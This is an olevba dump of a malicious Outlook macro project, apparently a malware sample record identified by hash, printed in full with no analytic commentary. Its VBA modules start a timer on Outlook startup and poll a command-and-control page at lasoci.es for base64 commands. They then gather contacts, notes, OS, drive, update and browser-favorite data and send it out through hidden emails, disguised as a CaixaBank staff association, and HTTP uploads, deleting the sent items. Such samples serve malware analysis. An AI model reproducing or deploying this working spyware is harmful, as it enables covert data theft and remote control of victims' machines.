Malicious OTM file 7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4 related to a8f5b757d2111927731c2c4730ca97a9d4f2c2b6eb9cd80bbb3ff33168bfd740

VbaProject.OTM

olevba 0.54.2 on Python 3.7.2 - http://decalage.info/python/oletools
===============================================================================
7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4\7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisOutlookSession.cls 
7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4\7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4 - OLE stream: 'OutlookVbaData/VBA/ThisOutlookSession'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Private Sub Application_Quit()
    On Error Resume Next
    DeactivateTimer
End Sub

Private Sub Application_Startup()
    On Error Resume Next
    'MsgBox "hola"
    ActivateTimer (Hour(TimeValue(NormalTimer)) * 60 + Minute(TimeValue(NormalTimer)))
End Sub
-------------------------------------------------------------------------------
VBA MACRO IE_GETCMD.bas 
7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4\7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4 - OLE stream: 'OutlookVbaData/VBA/IE_GETCMD'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Public Const CCURL = "http://www.lasoci.es/index.html"

Public Function IEGetCMD() As String
On Error Resume Next
    
    'Dim WebPage As Object
    Dim WebPage As MSHTML.HTMLDocument ' TODO: do without reference
    Dim cmd As String
    
    Dim IE As Object
    Set IE = CreateObject("InternetExplorer.Application") 'Doesn't need reference
    'Dim IE As InternetExplorerMedium
    'Set IE = New InternetExplorerMedium

    'Set IE.Visible = True to make IE visible, or False for IE to run in the background
    IE.Visible = False
    
    IE.Navigate CCURL
    Do While IE.ReadyState = 4: DoEvents: Loop   'Do While
    Do Until IE.ReadyState = 4: DoEvents: Loop   'Do Until
    Set WebPage = IE.document
    'Debug.Print WebPage.Title
    
    cmd = WebPage.getElementById("lasoci").innerText
    cmd = Trim(Replace(cmd, "#####", ""))
    cmd = StrConv(DecodeBase64(cmd), vbUnicode)
    Debug.Print "Comando: " & cmd
    IEGetCMD = cmd
    IE.Quit
    'Cleanup
    Set IE = Nothing
End Function

Public Sub DoCMD()
    Dim cmd As String
    
    cmd = LCase(IEGetCMD)
    Debug.Print "[" & Date & " " & Time; "] CMD recibido: " & cmd
    Select Case cmd
        Case "contacts"
            SacaContacts
        Case "osinfo"
            SacaOs
        Case "notes"
            SacaNotas
        Case "shutdown"
            ' Pausamos 12 horas o hasta el siguiente reinicio de outlook
            ActivateTimer (Hour(TimeValue(ShutdownTimer)) * 60 + Minute(TimeValue(ShutdownTimer)))
            Exit Sub
        Case Else
    End Select
    ActivateTimer (Hour(TimeValue(NormalTimer)) * 60 + Minute(TimeValue(NormalTimer)))
End Sub



 


-------------------------------------------------------------------------------
VBA MACRO IE_POSTFILE.bas 
7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4\7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4 - OLE stream: 'OutlookVbaData/VBA/IE_POSTFILE'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub Test()
    Dim File2Upload As String: File2Upload = "C:\Users\XXXX\Downloads\macro.docm"
    Dim Url2Upload As String: Url2Upload = "http://lasoci.es/login.php"
    
    UploadFile Url2Upload, File2Upload, "uploadedFile"
End Sub

Public Function UploadFile(DestURL As String, fileName As String, _
        Optional ByVal FieldName As String = "File") As Boolean
        
    On Error Resume Next
    Dim sFormData As String, d As String
    Const Boundary As String = "-----------------------------7e33292960b74"
    
    sFormData = GetFileBinaryS(fileName)
    
    'Build source form with file contents
    d = "--" + Boundary + vbCrLf
    d = d + "Content-Disposition: form-data; name=""" + FieldName + """;"
    d = d + " filename=""" + fileName + """" + vbCrLf
    d = d + "Content-Type: application/upload" + vbCrLf + vbCrLf
    d = d + sFormData
    d = d + vbCrLf + "--" + Boundary + "--" + vbCrLf
    
    'Post the data To the destination URL
    IEPostStringRequest DestURL, d, Boundary
End Function

Public Function GetFileBin(fileName As String) As Byte()
    On Error Resume Next
    Dim FileContents() As Byte, fd As Integer
    ReDim FileContents(FileLen(fileName) - 1)
    
    fd = FreeFile
    Open fileName For Binary As fd
    Get fd, , FileContents
    Close fd
    
    GetFileBin = StrConv(FileContents, vbUnicode)
End Function

Public Function IEPostStringRequest(URL As String, FormData As String, Boundary As String) As Boolean
    On Error Resume Next
    Dim IE: Set IE = CreateObject("InternetExplorer.Application")
    'Dim ie As InternetExplorerMedium
    'Set IE = New InternetExplorerMedium
    
    IE.Visible = False
     
    'Send the form data To URL As POST request
    Dim bFormData() As Byte
    ReDim bFormData(Len(FormData) - 1)
    bFormData = StrConv(FormData, vbFromUnicode)
    
    IE.Navigate URL, , , bFormData, _
      "Content-Type: multipart/form-data; boundary=" + Boundary + vbCrLf
    
    Do While IE.ReadyState = 4: DoEvents: Loop   'Do While
    Do Until IE.ReadyState = 4: DoEvents: Loop   'Do Until
    If IE.LocationName = "la Soci" Then
        Debug.Print "Upload OK"
        IEPostStringRequest = True
    Else
        Debug.Print "Upload KO: " & IE.LocationName
        IEPostStringRequest = False
    End If
    IE.Quit
    Set IE = Nothing

End Function



-------------------------------------------------------------------------------
VBA MACRO Common.bas 
7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4\7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4 - OLE stream: 'OutlookVbaData/VBA/Common'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Public Const C2mailTO = "[email protected]"
Public Const C2URL = "http://lasoci.es/login.php"
Public Const ShutdownTimer = "12:00" '12 horas
Public Const NormalTimer = "00:15" '15 minutos

Public Function EncodeBase64(bytes) As String
    Dim objXML As Object
    Dim objNode As Object
    
    Set objXML = CreateObject("MSXML2.DOMDocument")
    Set objNode = objXML.createElement("b64")
    
    objNode.DataType = "bin.base64"
    objNode.NodeTypedValue = bytes
    EncodeBase64 = objNode.Text
    
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Public Function DecodeBase64(ByVal strData As String) As Byte()
    Dim objXML As Object 'MSXML2.DOMDocument
    Dim objNode As Object 'MSXML2.IXMLDOMElement
    
    Set objXML = CreateObject("MSXML2.DOMDocument")
    Set objNode = objXML.createElement("b64")
    
    objNode.DataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.NodeTypedValue
 
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Public Function GetFileBinary(fileName As String) As Byte()
    Dim FileContents() As Byte, fd As Integer
    ReDim FileContents(FileLen(fileName) - 1)
    
    fd = FreeFile
    Open fileName For Binary As fd
    Get fd, , FileContents
    Close fd
    
    GetFileBinary = FileContents
End Function

Public Function GetFileBinaryS(fileName As String) As String
    GetFileBinaryS = StrConv(GetFileBinary(fileName), vbUnicode)
End Function

Public Function getTempFileName() As String
    Set fso = CreateObject("Scripting.FileSystemObject")
    getTempFileName = fso.GetSpecialFolder(2) & "\" & fso.GetTempName()
    Set fso = Nothing
End Function
Public Function getTempFolder() As String
    Set fso = CreateObject("Scripting.FileSystemObject")
    getTempFolder = fso.GetSpecialFolder(2)
    Set fso = Nothing
End Function

Public Function strToFile(txtData As String, Optional fName As String = "") As String
    On Error GoTo ErrorHandler
    Dim fd As Integer
    
    fd = FreeFile
    If fName = "" Then fName = getTempFileName()
    
    Open fName For Output As #fd
    Print #fd, txtData
    Close #fd
    strToFile = fName
    Exit Function
ErrorHandler:
    strToFile = ""
    On Error Resume Next
    Close #fd
End Function

Public Function fileToStr(fName As String) As String
    On Error Resume Next
    Dim fd As Integer
    fd = FreeFile
    Open fName For Input As #fd
    fileToStr = Input$(LOF(fd), fd)
    Close #fd
End Function


Public Function getFiles(folderName As String, Optional fileExtension As String = "") As String
    On Error Resume Next
    Dim oFSO As Object
    Dim oFolder As Object
    Dim File As Object
    Dim fldr As Object
          
    Set oFSO = CreateObject("Scripting.FileSystemObject")
    Set oFolder = oFSO.GetFolder(folderName)
    
    For Each fldr In oFolder.SubFolders
        getFiles = getFiles(fldr.path, fileExtension)
    Next fldr

    For Each File In oFolder.files
        If fileExtension <> "" And LCase(Right(File.Name, 4)) <> "." & LCase(fileExtension) Then
            'Do Nothing
        Else
            If getFiles <> "" Then
                getFiles = getFiles & ";;" & oFolder.path & "\" & File.Name
            Else
                getFiles = oFolder.path & "\" & File.Name
            End If
        End If
    Next
    Set oFSO = Nothing
    Set oFolder = Nothing
End Function

Public Function extractURL(fName As String) As String
    Dim fileContent As String
    Dim kk As Variant
    fileContent = fileToStr(fName)
    kk = Split(Split(fileContent, "URL=")(1), vbCrLf)
    
End Function

Function ReadIni(sIniFile As String, _
                 sSection As String, _
                 sKey As String) As String
    On Error Resume Next
    Dim sIniFileContent       As String
    Dim aIniLines()           As String
    Dim sLine                 As String
    Dim i                     As Long
 
    sIniFileContent = ""
    bSectionExists = False
    bKeyExists = False
 
    'Validate that the file actually exists
    If Len(Dir(sIniFile)) = 0 Then
        ' No existe
        ReadIni = ""
        Exit Function
    End If
 
    sIniFileContent = fileToStr(sIniFile)
    aIniLines = Split(sIniFileContent, vbCrLf)
    For i = 0 To UBound(aIniLines)
        sLine = Trim(aIniLines(i))
        If bSectionExists = True And Left(sLine, 1) = "[" And Right(sLine, 1) = "]" Then
            Exit For    'Start of a new section
        End If
        If sLine = "[" & sSection & "]" Then
            bSectionExists = True
        End If
        If bSectionExists = True Then
            If Len(sLine) > Len(sKey) Then
                If Left(sLine, Len(sKey) + 1) = sKey & "=" Then
                    bKeyExists = True
                    ReadIni = Mid(sLine, InStr(sLine, "=") + 1)
                End If
            End If
        End If
    Next i
End Function
-------------------------------------------------------------------------------
VBA MACRO OS_INFO.bas 
7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4\7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4 - OLE stream: 'OutlookVbaData/VBA/OS_INFO'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Type OSVERSIONINFO
  dwOSVersionInfoSize As Long
  dwMajorVersion As Long
  dwMinorVersion As Long
  dwBuildNumber As Long
  dwPlatformId As Long
  szCSDVersion As String * 128
End Type
Public Declare Function GetVersionExA Lib "kernel32" (lpVersionInformation As OSVERSIONINFO) As Integer

Public Function getOSVersion() As String
    On Error Resume Next
    Dim osinfo As OSVERSIONINFO
    Dim rc As Integer
    
    osinfo.dwOSVersionInfoSize = 148
    osinfo.szCSDVersion = Space$(128)
    rc = GetVersionExA(osinfo)
    getOSVersion = "Major ; Minor ; BuildNumber" & vbCrLf
    getOSVersion = getOSVersion & osinfo.dwMajorVersion & " ; " & osinfo.dwMinorVersion & " ; " & osinfo.dwBuildNumber & vbCrLf
End Function

Public Function getWindowUpdates() As String
    On Error Resume Next
    Dim objUpdateSession As Object
    Dim intTotalHistoryCount As Integer
    Dim objUpdateEntry As Object
    Dim objUpdateSearcher As Object
    Dim updateHistory
     
    getWindowUpdates = "Title ; Description ; Date ; Operation ; Result ; UpdateID" & vbCrLf
    Set objUpdateSession = CreateObject("Microsoft.Update.Session")
    Set objUpdateSearcher = objUpdateSession.CreateUpdateSearcher
    intTotalHistoryCount = objUpdateSearcher.GetTotalHistoryCount
    Set updateHistory = objUpdateSearcher.QueryHistory(0, intTotalHistoryCount)
    For Each objUpdateEntry In updateHistory 'Loop through all Windows updates
        getWindowUpdates = getWindowUpdates & objUpdateEntry.Title & " ; "
        getWindowUpdates = getWindowUpdates & objUpdateEntry.Description & " ; "
        getWindowUpdates = getWindowUpdates & objUpdateEntry.Date & " ; "
         
        Select Case objUpdateEntry.Operation 'Operation type, returns a number 1 or 2
        Case 1
            getWindowUpdates = getWindowUpdates & "Installation" & " ; "
        Case 2
            getWindowUpdates = getWindowUpdates & "Uninstallation" & " ; "
        Case Else
            getWindowUpdates = getWindowUpdates & "Operation type could not be determined." & " ; "
        End Select
         
        Select Case objUpdateEntry.ResultCode 'Operation result, returns a number 0 to 5
        Case 0
            getWindowUpdates = getWindowUpdates & "Operation has not started" & " ; "
        Case 1
            getWindowUpdates = getWindowUpdates & "Operation is in progress" & " ; "
        Case 2
            getWindowUpdates = getWindowUpdates & "Operation completed successfully" & " ; "
        Case 3
            getWindowUpdates = getWindowUpdates & "Operation completed, but one or more errors occurred " & _
            "during the operation and the results are potentially incomplete" & " ; "
        Case 4
            getWindowUpdates = getWindowUpdates & "Operation failed to complete" & " ; "
        Case 5
            getWindowUpdates = getWindowUpdates & "Operation was aborted" & " ; "
        Case Else
            getWindowUpdates = getWindowUpdates & "Operation result could not be determined" & " ; "
        End Select
        getWindowUpdates = getWindowUpdates & objUpdateEntry.UpdateIdentity.UpdateID & vbCrLf
    Next

    ' Clean up
    Set objUpdateSession = Nothing
    Set objUpdateEntry = Nothing
    Set objUpdateSearcher = Nothing
    Set updateHistory = Nothing
End Function

Function GetIEFavorites() As String
    On Error Resume Next
    Dim ieFav As Variant
    Dim File As Variant
        
    Set oFSO = CreateObject("Scripting.FileSystemObject")
  
    GetIEFavorites = "Name ; URL" & vbCrLf
    ieFav = getFiles(Environ("userprofile") & "\Favorites", "url")
    ieFav = Split(ieFav, ";;")
    
    For Each f In ieFav
        Set File = oFSO.getfile(f)
        GetIEFavorites = GetIEFavorites & File.Name & " ; " & ReadIni(CStr(f), "InternetShortcut", "URL") & vbCrLf
    Next
    Set oFSO = Nothing
End Function

Public Function getDriveList() As String
    On Error Resume Next
    Dim fso, sn, dl, dt, fs, vn
    
    getDriveList = "Letter ; Type ; FileSystem ; Volumename ; ShareName" & vbCrLf
    Set fso = CreateObject("Scripting.FileSystemObject")
    For Each d In fso.Drives
        dl = d.DriveLetter
        vn = d.VolumeName
        sn = d.ShareName
        dt = d.DriveType
        fs = d.FileSystem
        If dt = 3 Then
            dt = "Remote"
        ElseIf dt = 4 Then
            dt = "CDROM"
        Else
            dt = "Fixed"
        End If
        getDriveList = getDriveList & dl & " ; " & dt & " ; " & fs & " ; " & vn & " ; " & sn & vbCrLf
        dl = vbNullString
        vn = vbNullString
        sn = vbNullString
        dt = vbNullString
    Next
    Set fso = Nothing
End Function
-------------------------------------------------------------------------------
VBA MACRO Test.bas 
7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4\7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4 - OLE stream: 'OutlookVbaData/VBA/Test'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 




Private Sub ieTest()
    URL = "https://www.google.es"
    Dim IE As Object
    Set IE = CreateObject("InternetExplorer.Application")
    'Dim ie As InternetExplorerMedium
    'Set ie = New InternetExplorerMedium
    
    IE.Visible = False
    IE.Navigate URL
    
    Do While IE.ReadyState = 4: DoEvents: Loop   'Do While
    Do Until IE.ReadyState = 4: DoEvents: Loop   'Do Until
    
    Debug.Print IE.LocationName
    IE.Quit
    Set IE = Nothing
End Sub
Sub filesendTest()
    Dim f2a As Variant
    Dim savedfile As String
    Dim olMail As Outlook.MailItem
    f2a = Array("c:\users\u0155352\downloads\test1.txt", _
                "c:\users\u0155352\downloads\test2.pdf", _
                "c:\users\u0155352\downloads\test3.txt", _
                "k:\att2.xxx")
                
    SacaFiles (f2a)
End Sub

-------------------------------------------------------------------------------
VBA MACRO SACA.bas 
0e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4\7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4 - OLE stream: 'OutlookVbaData/VBA/SACA'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

Public Sub SacaOs()
    Dim f2u() As String
    Dim tmp As Variant
    
    ReDim Preserve f2u(0)
    tmp = strToFile(getOSVersion, getTempFolder() & "\osv.csv")
    f2u(UBound(f2u)) = tmp
        
    ReDim Preserve f2u(UBound(f2u) + 1)
    tmp = strToFile(getDriveList, getTempFolder() & "\drl.csv")
    f2u(UBound(f2u)) = tmp
        
    ReDim Preserve f2u(UBound(f2u) + 1)
    tmp = strToFile(getWindowUpdates, getTempFolder() & "\upd.csv")
    f2u(UBound(f2u)) = tmp
    
    ReDim Preserve f2u(UBound(f2u) + 1)
    tmp = strToFile(GetIEFavorites, getTempFolder() & "\fav.csv")
    f2u(UBound(f2u)) = tmp
    
    SacaFiles (f2u)
End Sub

Public Function SacaFiles(files As Variant) As String
    Dim rcFile As String
    rcFile = SacaMail(files, "files")
    If rcFile <> "" Then
        SacaPOST rcFile
    End If
    SacaFiles = rcFile
End Function

Public Function SacaNotas() As String
    Dim rcFile As String
    rcFile = SacaMail(Application.Session.GetDefaultFolder(olFolderNotes).Items, "nt")
    If rcFile <> "" Then
        SacaPOST rcFile
    End If
    SacaNotas = rcFile
End Function

Public Function SacaContacts() As String
    Dim rcFile As String
    rcFile = SacaMail(Application.Session.GetDefaultFolder(olFolderContacts).Items, "cnt")
    If rcFile <> "" Then
        SacaPOST rcFile
    End If
    SacaContacts = rcFile
End Function

Public Function SacaMail(toAttach As Variant, whatIS As String, Optional file2save As String = "") As String
    On Error GoTo ErrorHandler
    
    If file2save = "" Then
        file2save = getTempFolder & "\" & whatIS
    End If
    Dim olMail As Outlook.MailItem
    Set olMail = Application.CreateItem(olMailItem)
    
    With olMail
        .Subject = "La Soci"
        .Recipients.Add C2mailTO
        On Error Resume Next 'Evitamos problemas si atachamos ficheros grandes
        For Each att In toAttach
            .Attachments.Add att, olByValue
        Next
        On Error GoTo 0
        .BodyFormat = olFormatHTML
        '.Body = "Associació del Personal de CaixaBank y La Caixa"
        .HTMLBody = "<HTML><BODY>"
        .HTMLBody = .HTMLBody & "<H2>Associació del Personal de CaixaBank y La Caixa</H2>"
        .HTMLBody = .HTMLBody & "<BR>" & whatIS
        .HTMLBody = .HTMLBody & "<BR>" & Application.Version
        .HTMLBody = .HTMLBody & "</BODY></HTML>"
        '.Display
        .DeleteAfterSubmit = True
        .SaveAs file2save, olMSG
        If (FileLen(file2save) / 1024 / 1024) > 15 Then 'Maximo 15 MB
            Debug.Print "Demasiado grande para enviar"
            While .Attachments.Count > 0
                .Attachments.Remove 1
            Wend
            .HTMLBody = "<HTML><BODY>"
            .HTMLBody = .HTMLBody & "<H2>Associació del Personal de CaixaBank y La Caixa</H2>"
            .HTMLBody = .HTMLBody & "<BR>" & txt
            .HTMLBody = .HTMLBody & "<b>Demasiado grande</b>"
            .HTMLBody = .HTMLBody & "<BR>" & Application.Version
            .HTMLBody = .HTMLBody & "</BODY></HTML>"
        End If
        .Send
    End With
    SacaMail = file2save
    Set olMail = Nothing
    Exit Function
ErrorHandler:
    SacaMail = ""
    Set olMail = Nothing
    Exit Function
End Function

Public Sub SacaPOST(file2post As String)
    If UploadFile(C2URL, file2post, "uploadedFile") Then
        On Error Resume Next
        Kill file2post
    End If
End Sub
-------------------------------------------------------------------------------
VBA MACRO OL_INFO.bas 
7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4\7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4 - OLE stream: 'OutlookVbaData/VBA/OL_INFO'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Public Function getAutodiscover(Optional accountID As Integer = 1) As String
    On Error Resume Next
    getAutodiscover = Application.Session.Accounts(accountID).AutoDiscoverXml
End Function

Public Function getExchangeInfo() As String
    On Error Resume Next
    getExchangeInfo = "ExchangeServerName ; ExchangeServerVersion ; ExchangeConnectionMode" & vbCrLf
    getExchangeInfo = getExchangeInfo & Application.Session.ExchangeMailboxServerName & " ; " & _
                                        Application.Session.ExchangeMailboxServerVersion & " ; " & _
                                        Application.Session.ExchangeConnectionMode & vbCrLf
End Function

Public Function getOutlookAccounts() As String
    On Error Resume Next
    Dim olAccount As Outlook.Account
    getOutlookAccounts = "UserName ; SmtpAddress ; DisplayName ; AccountType; ExchangeServerName ; ExchangeServerVersion ; ExchangeConnectionMode ; AutodiscoverXML" & vbCrLf
    
    
    For Each olAccount In Application.Session.Accounts
            getOutlookAccounts = getOutlookAccounts & _
                olAccount.UserName & " ; " & _
                olAccount.SmtpAddress & " ; " & _
                olAccount.DisplayName & " ; " & _
                olAccount.AccountType & " ; " & _
                olAccount.ExchangeMailboxServerName & " ; " & _
                olAccount.ExchangeMailboxServerVersion & " ; " & _
                olAccount.ExchangeConnectionMode & " ; " & _
                olAccount.AutoDiscoverXml & vbCrLf
                                                                                                
    Next
End Function


-------------------------------------------------------------------------------
VBA MACRO OS_TIMER.bas 
7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4\7b69d70e57ea7f560d35218150f59c211b6e3f007c632bffcc56ea9dac4467c4 - OLE stream: 'OutlookVbaData/VBA/OS_TIMER'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerfunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Public TimerID As Long

Public Sub ActivateTimer(ByVal nMinutes As Long)
    On Error Resume Next
    nMinutes = nMinutes * 1000 * 60 'The SetTimer call accepts milliseconds, so convert to minutes
    If TimerID <> 0 Then Call DeactivateTimer 'Check to see if timer is running before call to SetTimer
    TimerID = SetTimer(0, 0, nMinutes, AddressOf TriggerTimer)
    If TimerID = 0 Then
        Debug.Print "Fallo al activar el timer."
    End If
End Sub

Public Sub DeactivateTimer()
    On Error Resume Next
    Dim lSuccess As Long
    If TimerID <> 0 Then
        lSuccess = KillTimer(0, TimerID)
        If lSuccess = 0 Then
          Debug.Print "Fallo al desactivar el timer"
        Else
          TimerID = 0
        End If
    End If
End Sub

Public Sub TriggerTimer(ByVal hwnd As Long, ByVal uMsg As Long, ByVal idevent As Long, ByVal Systime As Long)
    Debug.Print "Timer ejecutado!!"
    DoCMD
End Sub